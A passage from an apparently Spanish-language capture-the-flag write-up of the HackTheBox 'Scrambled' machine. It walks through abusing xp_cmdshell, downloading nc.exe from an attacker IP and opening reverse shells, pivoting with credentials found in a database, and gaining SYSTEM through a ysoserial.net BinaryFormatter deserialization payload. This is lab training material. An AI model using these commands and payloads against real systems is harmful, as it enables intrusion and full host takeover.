2[*] INFO(DC1): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
3[*] INFO(DC1): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
4SQL (SCRM\administrator  dbo@master)> RECONFIGURE
5SQL (SCRM\administrator  dbo@master)> xp_cmdshell whoami
6output
7-----------
8scrm\sqlsvc

Aunque antes de ganar acceso, enumerando la base de datos vemos una interesante llamada ScrambleHR

 1SQL (SCRM\administrator  dbo@master)> enum_db
 2name         is_trustworthy_on
 3----------   -----------------
 4master                       0
 5
 6tempdb                       0
 7
 8model                        0
 9
10msdb                         1
11
12ScrambleHR                   0

Vemos que esta base de datos tiene tres tablas.

 1SQL (SCRM\administrator  dbo@master)> USE ScrambleHR;
 2[*] ENVCHANGE(DATABASE): Old Value: master, New Value: ScrambleHR
 3[*] INFO(DC1): Line 1: Changed database context to 'ScrambleHR'.
 4SQL (SCRM\administrator  dbo@ScrambleHR)> SELECT name AS Table_Name FROM sys.tables;
 5Table_Name
 6----------
 7Employees
 8
 9UserImport
10
11Timesheets

Y consultando lo que hay en la tabla UserImport vemos que tenemos una credencial.

1SQL (SCRM\administrator  dbo@ScrambleHR)> SELECT * From Employees;
2EmployeeID   FirstName   Surname   Title   Manager   Role
3----------   ---------   -------   -----   -------   ----
4SQL (SCRM\administrator  dbo@ScrambleHR)> SELECT * FROM UserImport;
5LdapUser   LdapPwd             LdapDomain   RefreshInterval   IncludeGroups
6--------   -----------------   ----------   ---------------   -------------
7MiscSvc    ScrambledEggs9900   scrm.local                90               0

Reverse Shell -> Foothold

Así que vamos a ganar acceso a la máquina. Primero vamos a crear un directorio a través de la función xp_cmdshell en C:\Windows\Temp\pointed

1SQL (SCRM\administrator  dbo@master)> xp_cmdshell "mkdir c:\windows\temp\pointed"
2output
3------
4NULL

Vamos a copiar el ejecutable de nc.exe a la máquina víctima, vamos a servirlo por el puerto 8081.

1ls | grep .exe
2nc.exe
3python3 -m http.server 8081
4Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...

Ahora nos lo descargamos en la máquina víctima.

 1SQL (SCRM\administrator  dbo@master)> xp_cmdshell "curl http://10.10.14.197:8081/nc.exe -o c:\windows\temp\pointed\nc.exe"
 2output
 3--------------------------------------------------------------------------------
 4  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
 5
 6                                 Dload  Upload   Total   Spent    Left  Speed
 7
 8100 59392  100 59392    0     0   384k      0 --:--:-- --:--:-- --:--:--  386k
 9
10NULL

Ahora, nos ponemos en escucha por el puerto 443 con netcat

1rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...

Y nos mandamos la reverse shell.

1SQL (SCRM\administrator  dbo@master)> xp_cmdshell "c:\windows\temp\pointed\nc.exe -e powershell 10.10.14.197 443"

Ahora hemos ganado acceso como el usuario sqlsvc

1PS C:\Windows\system32> whoami
2whoami

User Pivoting w/RunAsCs.exe

Pero recordemos que tenemos el combo que hemos encontrado en la base de datos

MiscSvc:ScrambledEggs9900

Vamos a compartir el ejecutable de RunasCs.exe para la máquina víctima.

 1PS C:\windows\temp\pointed> curl http://10.10.14.197:8081/RunasCs.exe -o runascs.exe
 2curl http://10.10.14.197:8081/RunasCs.exe -o runascs.exe
 3PS C:\windows\temp\pointed> dir
 4dir
 5
 6
 7    Directory: C:\windows\temp\pointed
 8
 9
10Mode                LastWriteTime         Length Name                                                              
11----                -------------         ------ ----                                                              
12-a----       18/12/2024     16:20          59392 nc.exe                                                            
13-a----       18/12/2024     16:22          51712 runascs.exe

Ahora nos ponemos en escucha otra vez con netcat por el puerto 443.

1rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...

Ahora nos mandamos una reverse shell utilizando el Logon Type 3 que corresponde a Network Logon.

1PS C:\windows\temp\pointed> .\runascs.exe MiscSvc ScrambledEggs9900 powershell.exe -r 10.10.14.197:443 -l 3
2.\runascs.exe MiscSvc ScrambledEggs9900 powershell.exe -r 10.10.14.197:443 -l 3
3[*] Warning: LoadUserProfile failed due to insufficient permissions
4
5[+] Running in session 0 with process function CreateProcessAsUserW()
6[+] Using Station\Desktop: Service-0x0-74247$\Default
7[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 2508 created in background.

Y conseguimos una shell como MiscSvc

1PS C:\Windows\System32> whoami
2whoami
3scrm\miscsvc

Podemos leer la flag de usuario.

1PS C:\users\miscsvc\desktop> type user.txt
2type user.txt
39d9857bee160e3...

Privilege Escalation

Detecting the ScrambleClient.exe we saw in the website

Analizando los recursos de la máquina, encontramos el cliente que hemos visto antes en la página web, o al menos, eso es lo que quiero pensar.

 1PS C:\shares\IT\apps\Sales Order Client> dir
 2dir
 3
 4
 5    Directory: C:\shares\IT\apps\Sales Order Client
 6
 7
 8Mode                LastWriteTime         Length Name
 9----                -------------         ------ ----
10-a----       05/11/2021     20:52          86528 ScrambleClient.exe
11-a----       05/11/2021     20:52          19456 ScrambleLib.dll

No puedo copiar el archivo por SMB ya que está desactivada la autenticación NTLM.

1copy ScrambleClient.exe \\10.10.14.197\smbFolder\ScrambleClient.exe
2copy ScrambleClient.exe \\10.10.14.197\smbFolder\ScrambleClient.exe
3copy : The request is not supported.
4At line:1 char:1
5+ copy ScrambleClient.exe \\10.10.14.197\smbFolder\ScrambleClient.exe
6+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
7    + CategoryInfo          : NotSpecified: (:) [Copy-Item], IOException
8    + FullyQualifiedErrorId : System.IO.IOException,Microsoft.PowerShell.Commands.CopyItemCommand

Así que como el ejecutable está en los recursos compartidos por SMB, vamos a utilizar otra vez impacket-smbclient que si admite autenticación por Kerberos para descargarlo.

1# ls
2drw-rw-rw-          0  Fri Nov  5 21:57:08 2021 .
3drw-rw-rw-          0  Fri Nov  5 21:57:08 2021 ..
4-rw-rw-rw-      86528  Fri Nov  5 21:57:08 2021 ScrambleClient.exe
5-rw-rw-rw-      19456  Fri Nov  5 21:57:08 2021 ScrambleLib.dll
6# mget *
7[*] Downloading ScrambleClient.exe
8[*] Downloading ScrambleLib.dll

Y ya lo tenemos en nuestra máquina.

1ls
2ScrambleClient.exe  ScrambleLib.dll

Reversing Scramble Client

Podemos ver que ambos archivos utilizan .NET, por lo cual podemos utilizar dotPeek para descompilarlo y analizar el código fuente.

1➜  client file ScrambleClient.exe
2ScrambleClient.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
3➜  client file ScrambleLib.dll
4ScrambleLib.dll: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections

Podemos compartirnos estos archivos a nuestra máquina con impacket-smbserver

1impacket-smbserver -smb2support smbFolder .

Write-up Image

En el archivo ScrambleLib.dll vemos el método Logon(string Username, string Password)

 1 public bool Logon(string Username, string Password)
 2    {
 3      try
 4      {
 5        if (string.Compare(Username, "scrmdev", true) == 0)
 6        {
 7          Log.Write("Developer logon bypass used");
 8          return true;
 9        }
10        MD5 md5 = MD5.Create();
11        byte[] bytes = Encoding.ASCII.GetBytes(Password);
12        byte[] buffer = bytes;
13        int length = bytes.Length;
14        Convert.ToBase64String(md5.ComputeHash(buffer, 0, length));
15        ScrambleNetResponse response = this.SendRequestAndGetResponse(new ScrambleNetRequest(ScrambleNetRequest.RequestType.AuthenticationRequest, Username + "|" + Password));
16        switch (response.Type)
17        {
18          case ScrambleNetResponse.ResponseType.Success:
19            Log.Write("Logon successful");
20            return true;
21          case ScrambleNetResponse.ResponseType.InvalidCredentials:
22            Log.Write("Logon failed due to invalid credentials");
23            return false;
24          default:
25            throw new ApplicationException(response.GetErrorDescription());
26        }
27      }
28      catch (Exception ex)
29      {
30        ProjectData.SetProjectError(ex);
31        Exception exception = ex;
32        Log.Write("Error: " + exception.Message);
33        throw exception;
34      }
35    }

Vemos que si se utiliza el nombre de usuario scrmdev se salta el proceso de autenticación y podemos autenticar sin contraseña.

Analyzing Client Code & Insecure Deserialization (BinaryFormatter) w/ysoserial.net

Otra cosa interesante es en la clase SalesOrder, podemos ver que se utiliza un formato de serialización llamado Binary Formatter

 1 public string SerializeToBase64()
 2    {
 3      BinaryFormatter binaryFormatter = new BinaryFormatter();
 4      Log.Write("Binary formatter init successful");
 5      using (MemoryStream serializationStream = new MemoryStream())
 6      {
 7        binaryFormatter.Serialize((Stream) serializationStream, (object) this);
 8        return Convert.ToBase64String(serializationStream.ToArray());
 9      }
10    }
11
12    public static SalesOrder DeserializeFromBase64(string Base64)
13    {
14      try
15      {
16        byte[] buffer = Convert.FromBase64String(Base64);
17        BinaryFormatter binaryFormatter = new BinaryFormatter();
18        Log.Write("Binary formatter init successful");
19        using (MemoryStream serializationStream = new MemoryStream(buffer))
20          return (SalesOrder) binaryFormatter.Deserialize((Stream) serializationStream);
21      }
22      catch (Exception ex)
23      {
24        ProjectData.SetProjectError(ex);
25        throw new ApplicationException("Error deserializing sales order: " + ex.Message);
26      }
27    }

Podemos ver que deserializar utilizando este formato puede llegar a ejecución remota de comandos Write-up Image

Recomiendo leer este artículo de Microsoft, y podemos generar un payload para mandarnos una reverse shell utilizando ysoserial.net que ya lo hemos utilizado en alguna máquina.

Ahora bien, tenemos que entender como funciona la aplicación para poder mandar este payload, para ello podemos analizar la clase ScrambleNetRequest donde podemos ver todos los códigos que se envían al servidor. Write-up Image

Podemos hacer una pequeña prueba conectándonos al servidor con telnet

1telnet 10.129.108.148 4411
2Trying 10.129.108.148...
3Connected to 10.129.108.148.
4Escape character is '^]'.
5SCRAMBLECORP_ORDERS_V1.0.3;
6LIST_ORDERS
7SUCCESS;AAEAAAD/////AQAAAAAAAAAMAgAAAEJTY3JhbWJsZUxpYiwgVmVyc2lvbj0xLjAuMy4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPW51bGwFAQAAABZTY3JhbWJsZUxpYi5TYWxlc09yZGVyBwAAAAtfSXNDb21wbGV0ZRBfUmVmZXJlbmNlTnVtYmVyD19RdW90ZVJlZmVyZW5jZQlfU2FsZXNSZXALX09yZGVySXRlbXMIX0R1ZURhdGUKX1RvdGFsQ29zdAABAQEDAAABf1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0NBgIAAAAABgMAAAAKU0NSTVNPMzYwMQYEAAAAC1NDUk1RVTkxODcyBgUAAAAGSiBIYWxsCQYAAAAAQBHK4mnaCAAAAAAAIHJABAYAAAB/U3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQMAAAAGX2l0ZW1zBV9zaXplCF92ZXJzaW9uBgAACAgJBwAAAAAAAAAAAAAAEQcAAAAAAAAACw==|AAEAAAD/////AQAAAAAAAAAMAgAAAEJTY3JhbWJsZUxpYiwgVmVyc2lvbj0xLjAuMy4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPW51bGwFAQAAABZTY3JhbWJsZUxpYi5TYWxlc09yZGVyBwAAAAtfSXNDb21wbGV0ZRBfUmVmZXJlbmNlTnVtYmVyD19RdW90ZVJlZmVyZW5jZQlfU2FsZXNSZXALX09yZGVySXRlbXMIX0R1ZURhdGUKX1RvdGFsQ29zdAABAQEDAAABf1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0NBgIAAAAABgMAAAAKU0NSTVNPMzc0OQYEAAAAC1NDUk1RVTkyMjEwBgUAAAAJUyBKZW5raW5zCQYAAAAAAJ07rZbaCAAAAAAAUJJABAYAAAB/U3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuTGlzdGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQMAAAAGX2l0ZW1zBV9zaXplCF92ZXJzaW9uBgAACAgJBwAAAAAAAAAAAAAAEQcAAAAAAAAACw==

Al decodificarlo en base64 podemos ver una especie de objeto serializado, esto tiene sentido por lo que hemos visto de BinaryFormatter

1BScrambleLib, Version=1.0.3.0, Culture=neutral, PublicKeyToken=nullScrambleLib.SalesOrder
2              _IsComplete_ReferenceNumber_QuoteReference	_SalesRep
3                                                                         _OrderItem_DueDate
4_TotalCostSystem.Collections.Generic.List`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]
5SCRMSO3601
6          SCRMQU91872J Hall	@�i� r@System.Collections.Generic.List`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]_items_siz_version
7                                        base64: invalid input

El código de comando UPLOAD_ORDER acaba invocando a la función UploadOrder(SalesOrder NewOrder) de la clase ScrambleNetClient

 1public void UploadOrder(SalesOrder NewOrder)
 2    {
 3      try
 4      {
 5        Log.Write("Uploading new order with reference " + NewOrder.ReferenceNumber);
 6        string base64 = NewOrder.SerializeToBase64();
 7        Log.Write("Order serialized to base64: " + base64);
 8        ScrambleNetResponse response = this.SendRequestAndGetResponse(new ScrambleNetRequest(ScrambleNetRequest.RequestType.UploadOrder, base64));
 9        if (response.Type != ScrambleNetResponse.ResponseType.Success)
10          throw new ApplicationException(response.GetErrorDescription());
11        Log.Write("Upload successful");
12      }
13      catch (Exception ex)
14      {
15        ProjectData.SetProjectError(ex);
16        Exception exception = ex;
17        Log.Write("Error: " + exception.Message);
18        throw exception;
19      }
20    }

Podemos ver que en un momento, se envía el mensaje serializado en base64 utilizando el método SendRequestAndGetResponse

 1 private ScrambleNetResponse SendRequestAndGetResponse(ScrambleNetRequest Request)
 2    {
 3      Log.Write("Connecting to server");
 4      TcpClient tcpClient = new TcpClient();
 5      tcpClient.ReceiveTimeout = checked ((int) Math.Round(TimeSpan.FromSeconds(20.0).TotalMilliseconds));
 6      tcpClient.ReceiveBufferSize = 2048;
 7      tcpClient.SendBufferSize = 2048;
 8      tcpClient.Connect(this.Server, this.Port);
 9      try
10      {
11        using (NetworkStream stream = tcpClient.GetStream())
12        {
13          using (StreamWriter streamWriter = new StreamWriter((Stream) stream, Encoding.ASCII))
14          {
15            streamWriter.AutoFlush = true;
16            if (this.GetResponse(stream).Type != ScrambleNetResponse.ResponseType.Banner)
17              throw new ApplicationException("Unexpected response from server on initial connection");
18            string str = ScrambleNetRequest.GetCodeFromMessageType(Request.Type) + ";" + Request.Parameter + "\n";
19            Log.Write("Sending data to server: " + str);
20            streamWriter.Write(str);
21            Log.Write("Getting response from server");
22            ScrambleNetResponse response = this.GetResponse(stream);
23            try
24            {
25              byte[] bytes = Encoding.ASCII.GetBytes("QUIT\n");
26              stream.Write(bytes, 0, bytes.Length);
27              stream.Close();
28            }
29            catch (Exception ex)
30            {
31              ProjectData.SetProjectError(ex);
32              Log.Write("Error sending QUIT and closing stream: " + ex.Message);
33              ProjectData.ClearProjectError();
34            }
35            return response;
36          }
37        }
38      }
39      finally
40      {
41        try
42        {
43          tcpClient.Close();
44        }
45        catch (Exception ex)
46        {
47          ProjectData.SetProjectError(ex);
48          Log.Write("Error closing TCP connection: " + ex.Message);
49          ProjectData.ClearProjectError();
50        }
51      }
52    }

Como podemos en el código, hay un punto donde se envía la data al servidor donde se construye la cadena de solicitud combinando el código de la solicitud y su parámetro (Request.Type y Request.Parameter) después de un punto y coma.

Por ejemplo una solicitud válida sería

1UPLOAD_ORDER;BASE64_SERIALIZADO_BINARY_FORMATTER

Generating payload

Este sería el punto donde nosotros podríamos introducir nuestro payload generado ya que el servidor debería de primero decodificar el base64 y segundo deserializar el objeto enviado con formato Binary Formatter el cual ya hemos visto que es vulnerable.

En una máquina Windows que tengamos vamos a descargarnos ysoserial.net y lo descomprimimos.

Ahora podemos generar nuestro payload, primero debemos elegir un gadget compatible con el formato, por ejemplo vamos a elegir TypeConfuseDelegate Write-up Image

Ahora generamos nuestro payload, importante que el output esté en base64 ya que hemos visto que para enviarlo al servidor debe de estar codificado.

1ysoserial.exe -f BinaryFormatter -o base64 -c "C:\Users\Public\Documents\nc.exe -e powershell 10.10.14.197 443" -g typeconfusedelegate
2AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAEIvYyBDOlxVc2Vyc1xQdWJsaWNcRG9jdW1lbnRzXG5jLmV4ZSAtZSBwb3dlcnNoZWxsIDEwLjEwLjE0LjE5NyA0NDMGBwAAAANjbWQEBQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQdtZXRob2QwB21ldGhvZDEDAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCQgAAAAJCQAAAAkKAAAABAgAAAAwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BwAAAAR0eXBlCGFzc2VtYmx5BnRhcmdldBJ0YXJnZXRUeXBlQXNzZW1ibHkOdGFyZ2V0VHlwZU5hbWUKbWV0aG9kTmFtZQ1kZWxlZ2F0ZUVudHJ5AQECAQEBAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkGCwAAALACU3lzdGVtLkZ1bmNgM1tbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsIFN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQYMAAAAS21zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQoGDQAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5Bg4AAAAaU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MGDwAAAAVTdGFydAkQAAAABAkAAAAvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIHAAAABE5hbWUMQXNzZW1ibHlOYW1lCUNsYXNzTmFtZQlTaWduYXR1cmUKU2lnbmF0dXJlMgpNZW1iZXJUeXBlEEdlbmVyaWNBcmd1bWVudHMBAQEBAQADCA1TeXN0ZW0uVHlwZVtdCQ8AAAAJDQAAAAkOAAAABhQAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykGFQAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQgAAAAKAQoAAAAJAAAABhYAAAAHQ29tcGFyZQkMAAAABhgAAAANU3lzdGVtLlN0cmluZwYZAAAAK0ludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykGGgAAADJTeXN0ZW0uSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQgAAAAKARAAAAAIAAAABhsAAABxU3lzdGVtLkNvbXBhcmlzb25gMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JDAAAAAoJDAAAAAkYAAAACRYAAAAKCw==

Ahora vamos a mover netcat a un directorio público como hemos puesto en mi payload para evitar problemas, en mi caso C:\Users\Public\Documents

 1PS C:\users\public\documents> dir
 2dir
 3
 4
 5    Directory: C:\users\public\documents
 6
 7
 8Mode                LastWriteTime         Length Name
 9----                -------------         ------ ----
10-a----       18/12/2024     16:20          59392 nc.exe

Ahora nos ponemos en escucha con netcat por el puerto 443.

1rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...

Ahora enviamos una solicitud al servidor con el código UPLOAD_ORDER;PAYLOAD que es lo que habíamos visto antes en el análisis del código y vemos que nos devuelve un error de deserialización. Write-up Image

Pero vemos que recibimos la conexión y somos nt authority\system por lo cual ya habríamos escalado privilegios.

1rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.197] from (UNKNOWN) [10.129.108.148] 55424
4Windows PowerShell
5Copyright (C) Microsoft Corporation. All rights reserved.
6
7PS C:\Windows\system32> whoami
8whoami
9nt authority\system

Podemos ver la flag de root

1PS C:\users\administrator\desktop> type root.txt
2type root.txt
3eb5ca5f6aa15e8...

¡Y ya estaría!

Happy Hacking! 🚀

#HackTheBox   #Scrambled   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Windows   #DNS Enumeration   #HTTP Enumeration   #Information Disclosure   #Abusing Insecure Credentials   #SMB Enumeration Without NTLM Authentication   #Kerberoasting   #TGS Cracking   #Hash Cracking   #Cracking   #Obtaining Domain SID From ObjectSid   #Configuring Kerberos Realm   #GSSAPI   #Silver Ticket Attack   #Exposed User Credentials   #Abusing Xp_cmdshell   #User Pivoting   #Reversing .NET Executable   #Analyzing .NET Code   #Binary Formatter    #Insecure Deserialization   #Ysoserial.net